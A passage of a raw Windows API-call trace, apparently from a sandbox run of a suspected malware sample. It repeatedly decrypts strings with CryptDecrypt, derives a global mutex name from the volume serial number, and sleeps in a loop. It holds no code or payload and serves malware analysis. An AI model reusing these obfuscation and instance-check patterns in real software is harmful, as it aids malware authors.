[0152.649] CryptDecrypt (in: hKey=0x895238, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fd1c | out: pbData=0x23ac068, pdwDataLen=0xc0fd1c) returned 1 [0152.649] CryptDestroyKey (hKey=0x895238) returned 1 [0152.649] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23ac0b0 [0152.649] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0152.649] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x580 [0152.649] WaitForSingleObject (hHandle=0x580, dwMilliseconds=0x0) returned 0x0 [0152.649] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0152.649] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b0 | out: hHeap=0x23a0000) returned 1 [0152.649] ReleaseMutex (hMutex=0x580) returned 1 [0152.649] CloseHandle (hObject=0x580) returned 1 [0152.649] Sleep (dwMilliseconds=0x3e8) [0153.764] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23ac068 [0153.764] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8950f8) returned 1 [0153.764] CryptSetKeyParam (hKey=0x8950f8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0153.764] CryptDecrypt (in: hKey=0x8950f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fce8 | out: pbData=0x23ac068, pdwDataLen=0xc0fce8) returned 1 [0153.764] CryptDestroyKey (hKey=0x8950f8) returned 1 [0153.764] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23ac090 [0153.764] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23ac0b8 [0153.764] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23ac0e0 [0153.764] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x895538) returned 1 [0153.764] CryptSetKeyParam (hKey=0x895538, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0153.764] CryptDecrypt (in: hKey=0x895538, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac0e0, pdwDataLen=0xc0fcc0 | out: pbData=0x23ac0e0, pdwDataLen=0xc0fcc0) returned 1 [0153.764] CryptDestroyKey (hKey=0x895538) returned 1 [0153.764] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0e0 | out: hHeap=0x23a0000) returned 1 [0153.764] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23ac090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0153.764] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b8 | out: hHeap=0x23a0000) returned 1 [0153.764] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0153.764] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0153.765] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac090 | out: hHeap=0x23a0000) returned 1 [0153.765] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23ac068 [0153.765] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x894eb8) returned 1 [0153.765] CryptSetKeyParam (hKey=0x894eb8, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0153.765] CryptDecrypt (in: hKey=0x894eb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fd1c | out: pbData=0x23ac068, pdwDataLen=0xc0fd1c) returned 1 [0153.765] CryptDestroyKey (hKey=0x894eb8) returned 1 [0153.765] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23ac0b0 [0153.765] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0153.765] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x528 [0153.766] WaitForSingleObject (hHandle=0x528, dwMilliseconds=0x0) returned 0x0 [0153.766] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0153.766] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b0 | out: hHeap=0x23a0000) returned 1 [0153.766] ReleaseMutex (hMutex=0x528) returned 1 [0153.766] CloseHandle (hObject=0x528) returned 1 [0153.766] Sleep (dwMilliseconds=0x3e8) [0154.988] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23ac068 [0154.988] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8951f8) returned 1 [0154.988] CryptSetKeyParam (hKey=0x8951f8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0154.988] CryptDecrypt (in: hKey=0x8951f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fce8 | out: pbData=0x23ac068, pdwDataLen=0xc0fce8) returned 1 [0154.988] CryptDestroyKey (hKey=0x8951f8) returned 1 [0154.988] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23ac090 [0154.988] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23ac0b8 [0154.988] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23ac0e0 [0154.988] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x894eb8) returned 1 [0154.988] CryptSetKeyParam (hKey=0x894eb8, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0154.988] CryptDecrypt (in: hKey=0x894eb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac0e0, pdwDataLen=0xc0fcc0 | out: pbData=0x23ac0e0, pdwDataLen=0xc0fcc0) returned 1 [0154.989] CryptDestroyKey (hKey=0x894eb8) returned 1 [0154.989] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0e0 | out: hHeap=0x23a0000) returned 1 [0154.989] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23ac090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0154.989] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b8 | out: hHeap=0x23a0000) returned 1 [0154.989] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0154.989] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0154.989] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac090 | out: hHeap=0x23a0000) returned 1 [0154.989] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23ac068 [0154.989] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x895378) returned 1 [0154.989] CryptSetKeyParam (hKey=0x895378, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0154.989] CryptDecrypt (in: hKey=0x895378, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fd1c | out: pbData=0x23ac068, pdwDataLen=0xc0fd1c) returned 1 [0154.989] CryptDestroyKey (hKey=0x895378) returned 1 [0154.989] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23ac0b0 [0154.989] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0154.990] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x588 [0154.990] WaitForSingleObject (hHandle=0x588, dwMilliseconds=0x0) returned 0x0 [0154.990] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0154.990] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b0 | out: hHeap=0x23a0000) returned 1 [0154.990] ReleaseMutex (hMutex=0x588) returned 1 [0154.990] CloseHandle (hObject=0x588) returned 1 [0154.990] Sleep (dwMilliseconds=0x3e8) [0156.100] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23ac068 [0156.100] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8951f8) returned 1 [0156.100] CryptSetKeyParam (hKey=0x8951f8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0156.100] CryptDecrypt (in: hKey=0x8951f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fce8 | out: pbData=0x23ac068, pdwDataLen=0xc0fce8) returned 1 [0156.100] CryptDestroyKey (hKey=0x8951f8) returned 1 [0156.100] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23ac090 [0156.100] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23ac0b8 [0156.100] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23ac0e0 [0156.100] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x895338) returned 1 [0156.100] CryptSetKeyParam (hKey=0x895338, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0156.100] CryptDecrypt (in: hKey=0x895338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac0e0, pdwDataLen=0xc0fcc0 | out: pbData=0x23ac0e0, pdwDataLen=0xc0fcc0) returned 1 [0156.100] CryptDestroyKey (hKey=0x895338) returned 1 [0156.100] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0e0 | out: hHeap=0x23a0000) returned 1 [0156.100] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23ac090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0156.100] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b8 | out: hHeap=0x23a0000) returned 1 [0156.100] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0156.100] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0156.101] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac090 | out: hHeap=0x23a0000) returned 1 [0156.101] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23ac068 [0156.101] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x894ff8) returned 1 [0156.101] CryptSetKeyParam (hKey=0x894ff8, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0156.101] CryptDecrypt (in: hKey=0x894ff8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0xc0fd1c | out: pbData=0x23ac068, pdwDataLen=0xc0fd1c) returned 1 [0156.101] CryptDestroyKey (hKey=0x894ff8) returned 1 [0156.101] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23ac0b0 [0156.101] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x368 [0156.101] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0x0) returned 0x102 [0156.101] CloseHandle (hObject=0x368) returned 1 [0156.101] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0156.101] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac0b0 | out: hHeap=0x23a0000) returned 1 [0156.101] Sleep (dwMilliseconds=0x3e8) [0157.118] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0157.118] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x895238) returned 1 [0157.118] CryptSetKeyParam (hKey=0x895238, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0157.118] CryptDecrypt (in: hKey=0x895238, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0157.118] CryptDestroyKey (hKey=0x895238) returned 1 [0157.118] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0157.118] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0157.118] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0157.118] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x8952b8) returned 1 [0157.118] CryptSetKeyParam (hKey=0x8952b8, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0157.118] CryptDecrypt (in: hKey=0x8952b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0157.119] CryptDestroyKey (hKey=0x8952b8) returned 1 [0157.119] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0157.119] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0157.119] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0157.119] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0157.119] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.119] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0157.119] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0157.119] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x895078) returned 1 [0157.119] CryptSetKeyParam (hKey=0x895078, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0157.119] CryptDecrypt (in: hKey=0x895078, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0157.119] CryptDestroyKey (hKey=0x895078) returned 1 [0157.120] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0157.120] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0157.120] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0157.120] CloseHandle (hObject=0x4bc) returned 1 [0157.120] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0157.120] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0157.120] Sleep (dwMilliseconds=0x3e8) [0158.221] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0158.221] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8952f8) returned 1 [0158.221] CryptSetKeyParam (hKey=0x8952f8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0158.221] CryptDecrypt (in: hKey=0x8952f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0158.221] CryptDestroyKey (hKey=0x8952f8) returned 1 [0158.221] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0158.221] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0158.221] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0158.221] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x894f38) returned 1 [0158.221] CryptSetKeyParam (hKey=0x894f38, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0158.221] CryptDecrypt (in: hKey=0x894f38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0158.221] CryptDestroyKey (hKey=0x894f38) returned 1 [0158.221] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0158.221] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0158.221] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0158.221] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0158.221] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0158.222] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0158.222] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0158.222] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x8952b8) returned 1 [0158.222] CryptSetKeyParam (hKey=0x8952b8, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0158.222] CryptDecrypt (in: hKey=0x8952b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0158.222] CryptDestroyKey (hKey=0x8952b8) returned 1 [0158.222] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0158.222] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0158.222] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0158.222] CloseHandle (hObject=0x4bc) returned 1 [0158.222] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0158.222] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0158.222] Sleep (dwMilliseconds=0x3e8) [0159.259] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0159.259] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x894fb8) returned 1 [0159.260] CryptSetKeyParam (hKey=0x894fb8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0159.260] CryptDecrypt (in: hKey=0x894fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0159.260] CryptDestroyKey (hKey=0x894fb8) returned 1 [0159.260] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0159.260] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0159.260] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0159.260] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x894e78) returned 1 [0159.260] CryptSetKeyParam (hKey=0x894e78, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0159.260] CryptDecrypt (in: hKey=0x894e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0159.260] CryptDestroyKey (hKey=0x894e78) returned 1 [0159.260] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0159.260] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0159.260] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0159.260] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0159.260] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0159.261] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0159.261] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0159.261] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x8952f8) returned 1 [0159.261] CryptSetKeyParam (hKey=0x8952f8, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0159.261] CryptDecrypt (in: hKey=0x8952f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0159.261] CryptDestroyKey (hKey=0x8952f8) returned 1 [0159.261] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0159.261] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0159.261] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0159.261] CloseHandle (hObject=0x4bc) returned 1 [0159.261] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0159.261] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0159.261] Sleep (dwMilliseconds=0x3e8) [0160.575] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0160.575] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x895078) returned 1 [0160.575] CryptSetKeyParam (hKey=0x895078, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0160.575] CryptDecrypt (in: hKey=0x895078, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0160.575] CryptDestroyKey (hKey=0x895078) returned 1 [0160.575] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0160.575] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0160.575] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0160.575] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x894ff8) returned 1 [0160.576] CryptSetKeyParam (hKey=0x894ff8, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0160.576] CryptDecrypt (in: hKey=0x894ff8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0160.576] CryptDestroyKey (hKey=0x894ff8) returned 1 [0160.576] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0160.576] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 